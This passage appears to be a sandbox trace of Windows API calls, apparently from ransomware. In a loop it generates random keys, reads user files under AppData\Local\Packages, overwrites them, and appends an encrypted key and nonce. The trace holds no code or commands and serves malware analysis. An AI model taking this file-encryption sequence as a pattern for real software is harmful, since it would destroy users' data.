lpDistanceToMoveHigh=0x0) returned 0x0 [0158.523] WriteFile (in: hFile=0xd64, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4, lpOverlapped=0x0) returned 1 [0158.523] SetFilePointer (in: hFile=0xd64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4 [0158.524] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.524] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.524] WriteFile (in: hFile=0xd64, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.524] WriteFile (in: hFile=0xd64, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.524] CloseHandle (hObject=0xd64) returned 1 [0158.528] WriteFile (in: hFile=0xd68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.528] CloseHandle (hObject=0xd68) returned 1 [0158.530] WriteFile (in: hFile=0xd68, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.530] CloseHandle (hObject=0xd68) returned 1 [0158.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0158.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0158.531] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\update.log", dwFileAttributes=0x80) returned 1 [0158.531] ReadFile (in: hFile=0xd68, lpBuffer=0x56f118, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x62, lpOverlapped=0x0) returned 1 [0158.532] SetFilePointer (in: hFile=0xd68, lDistanceToMove=-98, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.532] WriteFile (in: hFile=0xd68, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x62, lpOverlapped=0x0) returned 1 [0158.532] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x62 [0158.533] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.533] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.533] WriteFile (in: hFile=0xd68, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.533] WriteFile (in: hFile=0xd68, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.533] CloseHandle (hObject=0xd68) returned 1 [0158.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.537] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0158.537] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.xml", dwFileAttributes=0x80) returned 1 [0158.537] ReadFile (in: hFile=0xd68, lpBuffer=0x582160, nNumberOfBytesToRead=0x8c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x8c4, lpOverlapped=0x0) returned 1 [0158.543] SetFilePointer (in: hFile=0xd68, lDistanceToMove=-2244, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.543] WriteFile (in: hFile=0xd68, lpBuffer=0x56f578*, nNumberOfBytesToWrite=0x8c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f578*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8c4, lpOverlapped=0x0) returned 1 [0158.543] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8c4 [0158.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.543] WriteFile (in: hFile=0xd68, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.544] WriteFile (in: hFile=0xd68, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.544] CloseHandle (hObject=0xd68) returned 1 [0158.545] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.545] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0158.545] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\shared.lck", dwFileAttributes=0x80) returned 1 [0158.546] ReadFile (in: hFile=0xd68, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.546] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.546] WriteFile (in: hFile=0xd68, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.546] SetFilePointer (in: hFile=0xd68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.546] WriteFile (in: hFile=0xd68, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.547] WriteFile (in: hFile=0xd68, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.548] CloseHandle (hObject=0xd68) returned 1 [0158.549] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0158.549] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0158.549] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.550] ReadFile (in: hFile=0xd70, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.558] SetFilePointer (in: hFile=0xd70, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.558] WriteFile (in: hFile=0xd70, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.558] SetFilePointer (in: hFile=0xd70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.558] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.558] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.558] WriteFile (in: hFile=0xd70, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.559] WriteFile (in: hFile=0xd70, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.559] CloseHandle (hObject=0xd70) returned 1 [0158.560] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.560] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.561] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.561] ReadFile (in: hFile=0xd70, lpBuffer=0x3087008, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3087008*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0158.570] SetFilePointer (in: hFile=0xd70, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.570] WriteFile (in: hFile=0xd70, lpBuffer=0x308b010*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x308b010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0158.570] SetFilePointer (in: hFile=0xd70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0158.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.571] WriteFile (in: hFile=0xd70, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.571] WriteFile (in: hFile=0xd70, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.572] CloseHandle (hObject=0xd70) returned 1 [0158.574] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.574] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.574] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.575] ReadFile (in: hFile=0xd70, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.585] SetFilePointer (in: hFile=0xd70, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.585] WriteFile (in: hFile=0xd70, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.588] SetFilePointer (in: hFile=0xd70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.588] WriteFile (in: hFile=0xd70, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.589] WriteFile (in: hFile=0xd70, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.589] CloseHandle (hObject=0xd70) returned 1 [0158.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.592] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.592] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.592] ReadFile (in: hFile=0xd70, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.592] SetFilePointer (in: hFile=0xd70, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.592] WriteFile (in: hFile=0xd70, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.592] SetFilePointer (in: hFile=0xd70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.592] WriteFile (in: hFile=0xd70, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.593] WriteFile (in: hFile=0xd70, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.594] CloseHandle (hObject=0xd70) returned 1 [0158.596] WriteFile (in: hFile=0xd7c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.597] CloseHandle (hObject=0xd7c) returned 1 [0158.597] WriteFile (in: hFile=0xd7c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.598] CloseHandle (hObject=0xd7c) returned 1 [0158.599] WriteFile (in: hFile=0xd7c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.599] CloseHandle (hObject=0xd7c) returned 1 [0158.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.600] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.600] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.600] ReadFile (in: hFile=0xd90, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.607] SetFilePointer (in: hFile=0xd90, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.607] WriteFile (in: hFile=0xd90, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.608] SetFilePointer (in: hFile=0xd90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.608] WriteFile (in: hFile=0xd90, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.608] WriteFile (in: hFile=0xd90, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.608] CloseHandle (hObject=0xd90) returned 1 [0158.611] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0158.611] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.611] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.612] ReadFile (in: hFile=0xd90, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.612] SetFilePointer (in: hFile=0xd90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.612] WriteFile (in: hFile=0xd90, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.612] SetFilePointer (in: hFile=0xd90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.612] WriteFile (in: hFile=0xd90, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.614] WriteFile (in: hFile=0xd90, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.614] CloseHandle (hObject=0xd90) returned 1 [0158.619] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.621] CloseHandle (hObject=0xd9c) returned 1 [0158.621] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.622] CloseHandle (hObject=0xd9c) returned 1 [0158.634] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.635] CloseHandle (hObject=0xd9c) returned 1 [0158.637] WriteFile (in: hFile=0xd9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.639] CloseHandle 